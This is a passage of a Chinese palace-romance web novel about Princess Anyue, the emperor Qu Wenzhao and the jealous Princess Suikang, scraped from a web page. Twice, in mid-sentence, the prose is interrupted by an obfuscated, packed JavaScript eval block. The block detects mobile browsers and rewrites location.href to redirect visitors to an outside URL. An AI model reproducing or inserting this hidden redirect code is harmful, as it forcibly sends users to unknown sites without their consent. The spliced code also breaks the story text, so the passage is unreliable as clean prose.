门后走出一道肥胖的身躯,深绯色的圆领袍衫,头上戴着只幞头,仍是皮笑肉不笑:“公主,陛下请您进去。” 安玥面色微白,身子稍稍侧过去了些,一只脚还未踏出去,那两名侍卫跟着往这头挪了一步,银寒的甲胄在烛火下泛着冷光。 她脖子缩了缩,硬着头皮转了回去。 安玥自知逃不掉,提裙埋上石阶,她手扶着门,一脚踏入门槛的瞬间,她终于看清殿内情形,僵着身不敢再进半分。 空旷的殿中,曲闻昭把手中的纸元宝往炉中一扔,火舌顷刻间卷了上来。 “外面冷,进来说话。” 安玥却似被钉在原地般,不敢动弹。 她用脚趾想也知道,皇兄在祭奠昭容娘娘。这种时候她哪里敢在他面前蹦跶? 怪她蠢,只顾着找猫,黑灯瞎火也未看清牌匾,加之今夜此处无人看守,就让她迷迷糊糊这般闯进来。 曲闻昭盯着面前的燎炉,火光映在他面上,他耐心耗尽般,终于转过头,“过来。” 安玥不敢再磨蹭,僵着身到曲闻昭身侧那只蒲团跪下。她没想到皇兄在这时祭奠,一时后悔今夜出来。 不消片刻,殿门再度合上,风声被拦绝在外,四周死寂。 安玥等不到身边的人开口,心里有些发怵,“皇兄是在祭奠昭容娘娘吗?” 他喜怒不辨:“你知道?” 安玥看了看燎炉,又看向曲闻昭,哆哆嗦嗦点了下头。她绞尽脑汁,想把话头跳过去,好在皇兄已换了话头,“妹妹怎么在这?” 安玥脑中一抽:“捉……捉奸。” 曲闻昭动作一顿,眼底罕见的,浮现些许不解的意味:“什么?” 安玥忙纠正回来:“找猫……” 曲闻昭往窗外看了眼,侍从站在树下,手里一左一右各提着一只狸奴。 白色那只色.心不死,还一个劲往另一只身上贴。 曲闻昭面里的冰霜被这幅闹腾的景象搅得化了些,他抽回目光,看向边上的人。 安玥垂着头跪在一旁,一只手不停搓着腰间系带,满面窘迫,不知是不是也觉着没脸,不敢抬头看他。 他莫名觉得有些好笑,收回目光,用竹棍拨了拨火堆。 安玥见边上的人没了动静,轻轻抬起头,却见皇兄垂着目光,看着面前的火堆,不知在想什么。 她突突直跳的心不自觉平静了些。她迟疑片刻,问:“皇兄想母妃了吗?” 曲闻昭唇角勾出一抹笑,看向她:“妹妹以为呢?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16664102|187407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>安玥不明白皇兄在笑什么,她默了片刻,低下头,将腰间的荷包打开,从里面取出一只骨笛。 那只骨笛只有一截手指长,她深吸一口气,将骨笛递至唇边。 舒缓的曲调自笛管缓缓流出,却不陌生,只是早已模糊在记忆里,风雪侵蚀,再难连成完整的调子,如那些渐行渐远的魂魄,梦河难渡。 除了自己,无人记得它的存在。 他从未想过,这首曲子还有被拼凑完整的一日。 曲闻昭面上笑容僵住,一双目光牢牢锁在身侧的人身上,如同一张极沉的网。 夜极尽,只剩下呜呜的风声,炉中的纸燃尽了,黑色的纸灰中布着点点火星。 安玥低头吹笛,火光映在她眼里,她神色认真。 云落满天,月色生辉。 一只骨节分明的手骤然伸来,遏住她的手腕,骨笛应势坠落在裙摆上。 乐声停了。 风过树梢,偶有簌簌几声。 曲闻昭眼中无了笑意,那目光极沉,如深渊爬出的鬼魅,“这首曲子,是谁教你的?” 安玥面色发白,喉咙似是被什么堵住。她勉强启唇,“我母妃。” “姜贵妃?” 安玥点点头,“小时候睡不着,母妃就会给我吹这首曲子。母妃说,这首曲子是祺昭容娘娘教给她的。皇兄,安玥虽然没见过祺昭容娘娘,但是听母妃提起,她们生前关系应是极好。” “妹妹想说什么直说便是。” 她轻声问:“皇兄是不是对我有误会?” “误会?”曲闻昭语气玩味:“什么误会?” 安玥总觉得今夜皇兄有些怪怪的,不似平日那般温和。哪怕是在笑,她也觉得那笑意有些不达眼底。 像是一个人突然对你卸下了伪装。 可一个人在什么时候会卸下伪装呢? 她打了个寒颤,不自觉地往燎炉那靠近了些,“皇兄是不是觉得,祺昭容娘娘的死,和我母妃有关?” 曲闻昭收回手,“给我母妃烧点纸,好么?” 安玥哪里敢拒绝? 火光再度升起,她伸手想去拿曲闻昭身侧的纸元宝,那元宝在另一侧,距离远了,她有些够不着,身子往前倾了倾,眼看还差一些,她又往前探了探,不想失了平衡,整个人往前扑去,她心下一惊,被一双有力的手臂扶住。 她松了口气,抬起头,触到一双漆黑的眸子,似是朝自己笑了下,“妹妹小心。” 他手上温度有些凉,隔着衣料传来。 安玥直觉有些危险,她接过曲闻昭递来的篮子,“多谢皇兄。” 她拿起几只元宝轻轻扔进火堆里。 “昭容娘娘,安玥给您请安了。不知道你和母妃在下面过得好不好,如果缺什么,便给安玥托梦告诉安玥。您放心,皇兄现在很好,安玥也很好。但是安玥觉得皇兄也很想见到娘娘。娘娘若是有机会,也给皇兄托托梦吧。” 她念叨完又顿了下,忍着不情愿,伸手握住曲闻昭的手,“祺昭容娘娘你放心,安玥会把皇兄照顾的很好……” 安玥最初以为皇兄冷血无情,是个不折不扣的疯子。可今夜她似乎意识到,皇兄也是人。说到底他们也是同病相怜。 21. 第 21 章 安玥话未说完,突然听到一声轻响,有什么东西掉在地上。她下意识寻声看去,见是一把匕首掉落在地。 二人俱是一怔。 曲闻昭轻挑了下眉。 安玥被匕首上的蓝宝石吸引,不由得多看了两眼。她把那把匕首拾起,看了看,最后递给曲闻昭。 曲闻昭没接,一双眼睛盯着她,待看清她眼中情绪,忽得一笑,“喜欢这把匕首?” 安玥有些讶然,皇兄当真心细如发,她未掩饰,“这把匕首样式特别,小巧精致,很好看。” “喜欢便送你了。”曲闻昭将匕首收入鞘中,递给她,“只是妹妹要小心,莫要给伤到了。沾了血,就不好看了。” “多……多谢皇兄。” 窗外忽然起了大风,吹得枯叶落了满地。风扬起燎炉内的灰,往曲闻昭身上扑去。曲闻昭捂着唇咳嗽了声,拂袖去赶。 安玥回过神,忙拦住他动作。曲闻昭看了过来。安玥意识到失态,忙不迭缩回手,她察觉头顶目光未移,默了阵,开口:“烟灰往皇兄身上扑,或许是祺昭容娘娘回来看皇兄。” 曲闻昭动作微顿,过了片刻,他眼中寒意散开,又恢复平日那般温和的样子。 “妹妹怎么知道?” “以前我想母妃的时候,清栀就是这般同我说的。” 曲闻昭不以为然,“风罢了。” 安玥见他不信,“才不是!安玥有一年做梦,梦里母妃也是这么和安玥说的。” “小骗子。” 曲闻昭这般说,却没有要动怒的意思。 篮子里的纸元宝就快要见底,安玥这一路又惊又怕,这会被烟熏得有些困,脑袋垂了下去,眼见着要埋到燎炉里,曲闻昭眼疾手快把人捞了回来。 安玥迷迷糊糊,朝曲闻昭笑了笑。她双颊被火熏得有些泛红。羽睫乖巧得垂着,眼角的一颗小痣被热气熏得活过来般,泛着殷红色。 鬼使神差的,曲闻昭伸手轻轻捏了下她面颊。 安玥靠在他肩上,困得睁不开眼,“皇兄,元宝怎么是纸做的呢?我还没在宫里见过,这是哪里的折法?” 他难得解释了句,“我也不知,只见母妃悄悄烧过,大抵是外祖那边的习俗吧。” 安玥轻轻“嗯”了声,似是嘟囔了一句什么,曲闻昭未听清,却莫名生出几分好奇,低头靠近,“你说什么?” “故人轻抚今人眉,为尔散去半生灾……” 窗外的风停了,云舒卷开来,露出雪白的月霜,洒落人间。肩上柔软的温度透过衣料传来,她鬓间的栀子映在残枝暗影上,一股不属于冬日的气味丝丝渗透,蔓延,如枯木萌芽。 苍白的纸灰下是点点火星。 曲闻昭目光僵怔了瞬。他要说什么,却听靠在肩上的人呼吸渐渐平稳,俨然是睡熟了的样子。 曲闻昭伸手捏了下她通红的面靥,“回你自己宫去,别在这睡。” 安玥在睡梦里嫌吵,皱了下眉,抬手把他脸推开。 此处连着偏殿。曲闻昭犹豫了阵,最后拿起安玥先前叠放在一旁的披风,将它垫在臂上,将靠在肩上的人打横抱起。 他步子迈得极稳,未惊动怀中的人。 曲闻昭从偏殿回来,注意到案上的熏香,味道不似平日用的,却有些熟悉。 “胡禄。” 胡禄听到动静,从外头进来,面上挂着谄媚的笑,细声问:“陛下,怎么了?” “香何时换了?” 胡禄反应过来,道:“这香是杨姑娘送来的。杨姑娘听说您这几日夜里睡不好,便特地调了助眠的香。” 曲闻昭扫了一眼案上的香,“把你那些心思收一收,没有下次。” 他面上不见喜怒。胡禄心里打了个突,忙躬着腰跪下,“奴婢知罪。” “给外面那二人通个消息,说公主追悼先帝,在宫中抄经,要回去的晚些。” 功过相抵,今夜且放她一回。 “谢陛下。”胡禄撑着肥胖的身子起身,反应过来后半句,先是一怔,随即应了声“是”。 “陛下,那狸奴怎么办?” 曲闻昭眉心微蹙,“带进来。” 月挂梢头。 安玥半夜醒来,发现自己还在娴淑宫。周围已经没人了,好在桌上还燃有一盏灯。就着那丁点光亮,安玥看清身侧卧着的一团雪团子。他似是被自己惊动,睁开眼睛看她。 安玥气不打一处来,捏了捏他后脖子,“你这没出息的,本宫脸都给你丢尽了。” 不知是否是错觉,安玥竟觉得咪儿看自己的眼神有些轻蔑,似是在看傻子。落到人眼里,竟有几分高高在上的意味。 安玥没功夫同她计较,把咪儿一把捞进怀里,溜出屋去。 她刚一推开门,见外边停着顶步辇,周边站着几名内侍。 见她出来,恭敬道:“公主,陛下让奴婢们送您回去。” 安玥面露警惕,把怀里的咪儿抱紧了些。皇兄有这么好心? 曲闻昭一眼察觉她在想什么,无言片刻,懒得同她在夜风里耗,已先一步挣脱,跳上了轿。 安玥想去追,甫一上辇,轿子已被稳稳抬起。不知过了多久,步辇在镜烛宫前停下。安玥劫后余生,逃也似的跳了下去。 天气渐暖,春日一过,眨眼已是夏初。 往年宫内到了这个时候,宫内都会办有荷花宴。今年亦不例外。 当初苓妃死了儿子,举止变得疯癫,时而又正常。她作为新帝的养母,若是未死,按祖制理应被封为太后。 此次荷花宴,亦是由她一手操办。只是明眼人隐隐能感觉出,太后醉翁之意不在酒,显然是有意替新帝相看后位人选。 自先帝崩逝后,太后便鲜少露于人前。此次盛装出席,那张俏丽的面上竟也生出了些褶皱。纵使施了厚重的脂粉,亦难以掩盖。 她浑浊的眼睛在不远处的凉亭内扫了一眼,再看向一旁的新帝,她似是笑了声,“皇帝也年岁不小了,后位空置,也不是办法。皇帝可有心仪的人选?” “此事不劳母后费心。父皇刚刚崩逝,丧期未过,恕儿臣无心立后之事。” “你有孝心是好事,只是后位事关重大,母后也非是要你即刻娶妻,至少先把人订下来。”她话说得极密,几乎不给新帝开口的机会,“样貌好,家世亦是没得挑,亲上加亲,岂不更好?” 赵怜儿,是太后胞弟之女。 曲闻昭拨了拨浮沫,眼中含笑,“若是四皇弟未曾染疫离世,这桩婚事本轮不到儿臣头上。想来表妹与四皇弟亦是两情相悦,儿臣无意棒打鸳鸯。” 二人一来一回,若是落在不知情的人眼中,倒当真要意味着是一副母慈子孝的场景。可太后垂在袖中,隐隐泛白的指节却出卖了一切。 当初婺儿无故染疫,本就蹊跷。他死后,那贱种便继了位,葬礼亦是由他手底下的人一手操办。甚至她这个当母亲的,连儿子死前最后一面都未见到,婺儿便被下了葬。 她疑心此事定然和这贱种脱不了干系。今日曲闻昭无故提及此事,她心底的猜想无形中又被证实几分。 她双唇颤抖,松手时,蔻丹里已染了鲜红的血迹。她定定盯着曲闻昭,眼底赤红得要滴出血来,偏生笑了声,“当场二人并未订婚,如今婺儿既已离世,皇帝接上,也未尝不可。” 曲闻昭报之一笑,恍若未闻。这幅样子落到太后眼里,于挑衅无异。 可如今,她又能如何? 凤凰花满树,一阵风拂过,嫣红的花瓣断颈般坠下,残红遍地。 岁康站在树下,绣鞋将花瓣碾得稀烂。 杨玉茗似是见她面色纠结,贴心问了句:“公主因何事为难?可是……”她朝远处的桥面上看了眼,语气打趣:“可是因何大人?” 岁康心事被戳穿,面色绯红,“你看出来了?” “公主可有向何大人表露过心意?” 岁康难得露出些小女儿的情态,她指尖绕着胸前的细辫,摇摇头。 “他怕是对我没那个心思。” 杨玉茗微微讶异,“公主这般好的人,何大人都没那心思,还能对谁有心思?” 岁康眼眶气得泛红,“我还没同你说。那日我试探一番,你猜怎么着?皇兄根本没送过她东西。一个撒谎精,我那日撞见她,提及此事。哪知那贱人抵死不认,正巧他路过,不知真相,竟也替她说话。倒像是我在欺负人!” 杨玉茗怔了怔:“怎得这般?我前些日子还听说,公主落水,是何大人将她救上来。你说,该不会……” “不会的!”岁康拔高了声亮,她气得要落泪,“一个两个都偏向她,凭什么呀!” “她是什么狐狸精转世,生来就是要吸走我的气运,抢走我的一切!以前是父皇皇兄,现在就连……” 岁康恨声:“我母妃也是被她克走的!她巴不得所有人都同她一样。” 杨玉茗摇摇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16673162|187407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,“玉茗瞧着,安玥公主应是对何大人无意,此事尚无定论。况且自古两情相悦之事,强求不来。公主这般好的人,何必在一棵树上吊死?” 岁康听了这番话,眼中恨意只增不减,“我偏要强求!” 她转身离开。 杨玉茗眉心微蹙,忍着不耐,柔声拦道:“公主去哪里?” 岁康脚步一顿,转身,她凑到杨玉茗耳畔,泛红的眼底染上几分昳丽的味道:“你说,若我霸王硬上弓……” 杨玉茗面色微惊,“公主莫要冲动……” 她想借刀杀人,却未想让她就这般折进去。 岁康笑了声:“母妃没了,我那弟弟又不争气,迟早把一家人害死。皇兄并不在意我。你说我还有得选么?” “她要抢走一切,我偏不让她得逞。横竖我什么也没有了,自然也不在意会失去什么。你若是害怕,便当没听过好了。” 岁康甩袖离去。 何元初刚同那些同僚应酬完,他酒饮得不多,此刻吹了许久的风,酒意散了不少。 他不主动找人,亦没多少人敢上来灌他酒。 他站了片刻,就要从桥上下去,见不远处跑来一道人影,那近侍到了跟前,“何大人,我家公主邀您喝茶,不知大人是否有空?” 何元初记性极佳几乎过目不忘,一眼便认出此人是岁康身边的人。 他微微颔首,“有劳。不知在何处?” 那内侍心下一喜,连忙在前引路,“不愿,便在福字号花船。” 要说这满朝文武,也只有何大人的性情是一等一的好。鲜少有拒绝人的时候,也从不责骂下人,令人如沐春风。 当真是个妙人儿,也难怪公主喜欢这样的人。 何元初由那内侍领着,到了湖畔,便见那花船的栈板上站着一个人,一身石榴色的红裙尤为扎眼。 她似是感觉到有人看着自己,几乎瞬间转过身来,原本平静的面上俱是欣喜,“何……”她上前两步,似是察觉此举失了庄重,又站立不动,等着何元初上来。 何元初一脚踏上舷梯,湖风拂动他的衣摆。他如玉的面上未见什么表情,可语气却是温和,“微臣见过公主。” 岁康怔了怔,鼻子有些泛酸。自打母妃去后,她总觉得宫人看她的眼神怪怪的,不如从前尊敬。若非舅舅尚在地方任边防军事长官,怕是处境不比安玥好多少。 只有他,还和从前一般待她。 “外边风大,我们进去说话,可好?” “公主,此举怕是会对公主声名有损。不如便在外面……” “不要。”岁康想任性一回,只当着他的面,“我心情不好,陪陪我好么?” 何元初张了张口,最后还是叹了口气,“依公主便是了。” 岁康笑了。她拾着舱梯上去,中舱内宽阔。内侍替二人倒了茶水,便退了出去。 何元初静坐在对面,极为耐心,俨然是在等她倾诉。 岁康道:“那日是我莽撞,让何大人见笑了。” 何元初知道她指的是御花园那件事。他摇摇头,“微臣非是有意偏帮。顶撞了公主,还望公主莫要同微臣计较。” 岁康心念微动,她深吸一口气,酸涩道:“我怎会同你计较,我的心思,你当真不懂吗?” “承蒙公主厚爱,只是微臣有眼无珠,暂无娶妻之心……” “别说了!”岁康几乎立时打断,她不想再听下去。什么有眼无珠,说到底也只是场面话,不喜欢就是不喜欢! “是因为安玥么?” “十七公主?”何元初微微错愕。 这幅表情落在岁康眼里,意味可就多了去了。她红着眼睛,却是哭不出了。 她嗤笑了声,“好。今日是我莽撞,还望何大人勿怪。” “公主言重了,公主地位尊贵,几句戏言,微臣自然不会当真。” “何大人喝茶,便当是我的赔罪了。” 何元初恭敬道:“公主不必如此。” “何大人不喝,可是瞧不上我的茶?” “微臣不敢。”何元初将茶水端起,放至鼻尖轻嗅了下,笑道:“果真是好茶。” 岁康盯着桌面,闻言,僵硬的唇角终于勾出些弧度,“你喜欢便好。” 湖面起了风,透入舱内。何元初偏头咳了几声。岁康见状忙起身,“我去关花窗。” 她转身之时,身后有一只手将桌上的茶水掉换。